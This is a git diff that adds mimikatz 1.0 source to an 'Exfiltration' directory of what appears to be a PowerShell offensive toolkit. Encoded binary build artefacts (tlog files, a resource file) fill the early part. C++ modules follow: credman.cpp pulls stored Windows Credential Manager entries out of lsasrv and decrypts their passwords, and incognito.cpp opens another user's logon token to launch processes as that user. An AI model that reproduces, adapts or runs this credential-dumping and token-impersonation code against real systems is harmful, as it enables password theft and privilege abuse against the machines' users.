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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..662e27d976972d290ba108ac28eea4b3448e3d04 GIT binary patch literal 17846 zcmeI3ZBH6O5P;`%lm3Us@3z{0GwBC}<9bnE!iyjwy&#oJsz}t@(jVXUncYJ`!Juv8 z0h0^t?datI+EG213AQh=13*?X^kS21KMN%Lw zQa^*dO};2cv^YSzO_`QQtExYnob|}fxs=!f4Lz@-_@;S5|Ql8~%WqB>H ztF;5UrNuX- zYOR*{$#tmli*n6POD5K;9ha0{aNPm6q{F5QZ2E#l=lq`Q#Htp*L9H85cFyN3AI&%9 zLy|W6?J6m8pM2_Dl+fYxqohViZ>S{4cZ0iEM92F(NzwJ!K0O%T$;$LYhF*yz#xJ}V zMO>*UAL;qAt~k+_qohHLiM&p(f?oByv9yYw1Flj*rrKlj>W?KPwVBr5#@W`f^RUSI zoBG#StNPunG?ct64e4cnhYIM|`eAaFP)07_!@u^Vhu>V|Ia|#AZfUv8)3n1gGo#oIgw7PmHFq@m@shv#1^A18#fx)jBA_4wZ)`JE7>CA z7<(StO?bOXht+6nh|YYq&ANcFH5sS#>4x> zj~P;372@B3-hWd+ekVGKJ+ssfh(-&vEE@A{bZVp14IiEUf0C>w8Fh7)u89lXx}+Ls z77fshATAXNcqQ!~NnUB*MyZIzp4KjNBb#IXFVLN7Li>^M*x*cd?GAmhtkw@&4iQPUK z+grBWem9FAEqdJS=<#3JvYzyelO4f+FR;a(7I#|QX>sQ=apzN6x|lSpL)Pg%>&8lB OrLodjxhyLevEwgs2C32j literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..8bfc48555675b959239df7d776b184ec93b110b7 GIT binary patch literal 4788 zcmds*-%k@k5Xa})#Q&k;#U~EY#26AE+UtRp{ zm-@&xmvVcv-<_SAotd5C_peVD+Mb=-fi>*N-rBL%_=>G#J&UYs3AD(XJdvG17p-9} z-fi$z=%;+Q?L8|Fp>8v$`37HA5FeRerEJ@-1@@eoCb$|LtGvZGV!u;<5vz}(G#OW+ z^q6bgOMAgMgdSNPu2pCO`_}B8{Vbgx(kMjw1KzTIr^LD(avB}ZM4nRK6Y)Cq(Is;F zbnU|iXcH4BisQ&dRQXRQCR&t-HbIjvQ4^v|!c%^I65=HxlPP-2uZ{FLL7Osbl5j8Y zTA#aiGqmXE)rhY{%Bz#Anli_TZWCXJ9hEwBtyY?4_Ne8WIdD~SVo&Xf?QmLMo{sw) zx$3@4X4|9k?C^`M0;WTKAllYLB|Wk`yRxr#PSqXTt$nkhrJVN_?=eqg_cnF3k=^i~ zfIow-j$mRlR$N0>N1*u;UuPhGFt4vg%Df}!F*C_4{fyPu?4QCjV{Kp;Zr?2@udkog z3oLdcUMJ}z-J1Lk_*IZo9Hwv&;4wm{3Y4J@9Dj8dbNU(k%yRVdOor}b?6Asd2N~3j zG;AMvbO%a;7Ptv}U9wMx=KGAtjAi5h(K7%qo6734?*-qo;1F4FR(N}xtV(f=RO;`x z+`cnbj_r*-V{Nu{Mk%xkmKcE_@JQawAuqwo`a=+YkC-~Y_Q?HYimlFbc@x*uF4iV{ zc|TdlGkTns_x{*rJS_r z|JQi)Ehi@L3>cl;7nipdF&@!(aiDQ(-`8TN_-^WaS2<)IXXOTEv-P-?{r|?uI&_Ad ziv1yyufqy;54H$5KnrC7ANxfp<%|Imes;O%j!_X(8L?O@pB=U19U2tzxM6PgP-7OI U-5k@;Zx4TO6mk7G^Upc|0g|5P#sB~S literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a090f0257c96c9878ee81af4ad1eac321c070882 GIT binary patch literal 8124 zcmds+(T5QgWvN#9{F+lw{3-K1@Lhrn7Yf)T`RW9p0a+1q|UN2?;+#MCSuLln-O z1I*8yIcNTvUq8QFY@cjx6U(f&&$hHNt+|!9veXty@h;X?mVf$1(G$jgl*SZLhYG@f?YwO-0)?yRk?1QAPC?*Kb(q zKH7VGOMIpo{8h{TYLbk|)Ckw4;ZSHA%dy2gu_%@9J`c~e>*!*pIh z-d|PdR)aRGw9~!z%CS1NIw-1F0*k7-qK@E(ReGdt7$3j~>_$&Ku?1b>Gk=8@81aJt z6j^DlOjmen#^uZyXl>redINXl={-nIKY$$YHM-F?{Q^9yWYz$dv2Lyhy}9FIj0)a< zLu=o@b%sIAxUo=yYU@?L$jo(vvj>ToRXm zK8buu>|~Zb{@EChBWye~Nz~=FMr!RcSd3q4WY!^mIhm^QoFi6EW*xS3y>p!^P0xSS zPtBZ7Dmm#=7iU$*-$AV(e@-EPaml8Wiq(#O(vc;$or6rT%qNygcUV>@ GEjFL7YW)ZR literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..a61d64e0868a4c07e418cb8e00a9363f945a6f37 GIT binary patch literal 958 zcmaiySx>@H5QWdPiT|O&7kvP?#29?4ShTTVBbzae2`DN73TbhP@wcnrTye$3kaF*w zIWu!+=DxmMsG_nG9V%2)M`~#wE7plR3UsOlSfGespfhm8Le)6y@O|(EyRJ47$Dl=g z<`1!a80YwZBSmehqzya~ynQnIoR&ABUcwg;-2#cY`yd^Bb!}_w4{u2a@FFrAr%CLo z(|3Sv3IaSeZguRctI*W*yz3b53B8+wnmqg=nM{SJRr=l4j@GDY9aJ2*0l!LCkB&ol zEg~bV23QLvA%2hkHs&3+iF=<=1)ebim+z;Z1Ux3zr&FIge`#LUlGc@Kq7mN>pND;~ zzB2W&a&Cr9bf=l7?mq*|9g^vids&6geGg#W!s?+XhV$SuHNg5*7@^^jES7zsF=q%e=5^-W z$;bPvQax$VTA5lst5brtQLUYvwraqf3Ld9DxM7(}z7_E?_<&uhCnE=);WK}R6%+A- ze~QdBSEvY2L0m$`n6K4!^c#2`*&Rs1IR@F`t8}ZIGu}{3;tDESOiS+8^IKvY1Ba*N zRAH}thgNTgsW-&d%x(-y1^6>68H+$y%=@5)uIXtLq&~JGenr)Qi8JClG7GE*tb<90 zKVZJ-Fkw&Ls8C9rML1vYJD&l3LvGBZF@4T)zSPCPWr6S*zxCQx z-V>qU>9asnQ!&v|i)q!7xl5QL|W#5=eQ1&9zSLUf0Hz$xb+`3IxO%9HTygl`=;iCmI!X1c5{#`fe%bF7m1$9yVIMN?6d^wsBO?6nVOI|pzG+2R1H{%lK`KPZ!;yl k(D(g?Qgo*9@@<0zITF(e@skrd1j^y|y>L|T;lh~eYTJ>PfV zyUcuj-jOk+;*6Xt&RHUfGviJ8>aR^rD~Jr6z9m zf0Bd~I`ni3b0beot?}I8eU%DMFC>NU=>gKw%Q)tUE@N7(Oqb4QZZUScwdcR-hPF3< zsDWDB#q29@Y}AvA{iC(*7kJj`bLs{S54`YBZLZ%*i|DRCL8%S(OH!5ZbY2dwiGjq6e znd#@po1C81X`@^xJ*(E5=%Bq?r8=r2m#W}O^+Miqxk~Ok>SOX9@lFjrwq%#IS$j?t zQ}IgsIJ4ABk?v?Is9Q5)%-zOKnXluQ(z_;8@El*rM6@|w>uR7s5bt>h8>!Sn8Dkl7 z#q$l^kGj|GK;nFDMSTX}0`i=?nw|wwMXpvtZcns=vL|hrsiWpZRY^~a?7bba)u+BS zW3Hp0H$u0$@wJ|KYQBoM-=bTGV@#0*r|taB@WN;p(8=h}Ba2Zih$ zDfA9i4c{U7id|OeKlpxfzKwV3UbWEfPP~tLcYo^^n#%U|21m`4u2;+czn!11Upp~j Awg3PC literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..9befde98572d5e3759c67e0f46f3f6a4efabe3f3 GIT binary patch literal 398 zcmdUqO$x#=5Julx@F*?*?A)a#*kFyK)`}GGe+uyZR@oSW>f4>FsOW7>s3a i^u5U&ogO5;dH6zVwU#-vzxe&Av&@>+4=2TS@$v>E7CSfq literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res new file mode 100644 index 0000000000000000000000000000000000000000..d0ba1ddfc6dda29ed2651d96364febb41f02022b GIT binary patch literal 752 zcmZ{i&q~8U5XQfh929!!8yLicUZgEOc=KRYilU-YkCJMwp*0Cjis)1I1$-mHH?aO@ z>(W2shS{CWeDlqpT}g_N*=#PTD{ETu{u-FT`Rb~M9yG1AP`kR(J^Qh)(K@=+1^*rP z6Lec2;n%lh@pBG;9y+fS@_Em%Ni}i@@Rb@XQK|uKiAL(foa#v#z)yk#)zv~C+}UH7 z4phZ{1m;D#V(@QN6Z6-1^rxID%*Ge#jPn%{f7`_QJZ(?~yp}(A=!_^^1)iZMct+?k z9FJHc_!B2XY^C0@(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true); + } + return (searchLSAFuncs() && CredIEnumerate); +} + +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@CredIEnumerate = " << CredIEnumerate << endl << + L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getCredmanData, wstring(L"credman"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream message; + if(searchCredmanFuncs()) + { + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; + NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential); + + if(NT_SUCCESS(status)) + { + for(DWORD i = 0; i < credNb; i++) + { + wstring Target(pCredential[i]->TargetName); + wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); + + message << endl; + if(justSecurity) + message << L"\t [" << i << L"] " << Target << L'\t'; + else message << + L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << + L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << + L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl; + + if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE)) + { + CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL}; + DWORD dwNbCredentials; + PENCRYPTED_CREDENTIALW * pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + if(status == STATUS_INVALID_PARAMETER) + { + mesInfos.Flags |= CRED_TI_USERNAME_TARGET; + status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + } + if(NT_SUCCESS(status)) + { + for(DWORD j = 0; j < dwNbCredentials ; j++) + { + wostringstream prefix; prefix << L"[" << j << L"] "; + message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); + } + SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); + } + else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); + } + else + { + PENCRYPTED_CREDENTIALW pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); + if(NT_SUCCESS(status)) + { + message << descEncryptedCredential(pEncryptedCredential, justSecurity); + CredFree(pEncryptedCredential); + } + else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); + } + } + CredFree(pCredential); + } + else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); + } else message << L"n.a. (credman KO)"; + return sendTo(monPipe, message.str()); +} + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix) +{ + wostringstream monStream; + + LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast(pEncryptedCredential->Cred.CredentialBlob)}; + wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword); + + if(justSecurity) + monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } "; + else monStream << + L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl << + L"\t " << prefix << L"Cred : " << cred << endl; + + return monStream.str(); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h new file mode 100644 index 0000000..60d1249 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchCredmanFuncs(); +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments); +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L""); + +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); + diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp new file mode 100644 index 0000000..7284da7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "incognito.h" + +bool searchIncognitoFuncs() +{ + return searchLSAFuncs(); +} + +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getTokenData, wstring(L"token"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4))) + { + wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back(); + if(mesArguments->size() == 4) + { + idSecAppHigh = idSecAppLow; + idSecAppLow = mesArguments->at(1); + session = mesArguments->at(2); + } + LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + DWORD maSession = _wtoi(session.c_str()); + HANDLE monToken; + monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : "; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"OK !" << endl << + L" * SetTokenInformation(TokenSessionId@" << maSession << L") : "; + if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0) + { + monStream << L"OK !" << endl << + L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : "; + PROCESS_INFORMATION mesInfosProcess; + if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken)) + { + monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl; + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + CloseHandle(monToken); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + } + else monStream << L"KO - " << mod_system::getWinError(false, status) << endl; + } + else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl; + } + return sendTo(monPipe, monStream.str()); +} + +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + HANDLE monToken; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, 